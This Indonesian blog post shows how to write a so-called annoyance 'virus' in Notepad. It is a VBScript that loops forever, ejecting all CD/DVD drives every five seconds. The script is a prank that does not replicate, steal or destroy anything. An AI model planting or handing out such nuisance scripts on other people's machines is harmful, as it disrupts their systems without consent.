Membuat Virus Lewat Notepad Part 1

Waahh.. Dunia maya rasanya tidak lengkap akan adanya VIRUS. nahh virus sekarang banyak sekali di kembangkan. ada sebagai perusak, ada sebagai pengganggu. nahh di sini gw akan bahas cara membuat virus pengganggu.. tidak begitu berbahaya sihh.. hehe.. Ok langsung aja.. cekidot :P

- Pertama Buka Notepad dan masukan kode berikut :

 

 

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Simpan lah file dengan ekstensi file (nama yg diinginkan).vbs dan jalankan filenya klik 2x. perhatikan CD/DVD ROM akan terbuka tertutup sendiri tanpa henti wkwkwkwkw :D

selamat mencoba yo :D

Posted in: iLmu Pengetahuan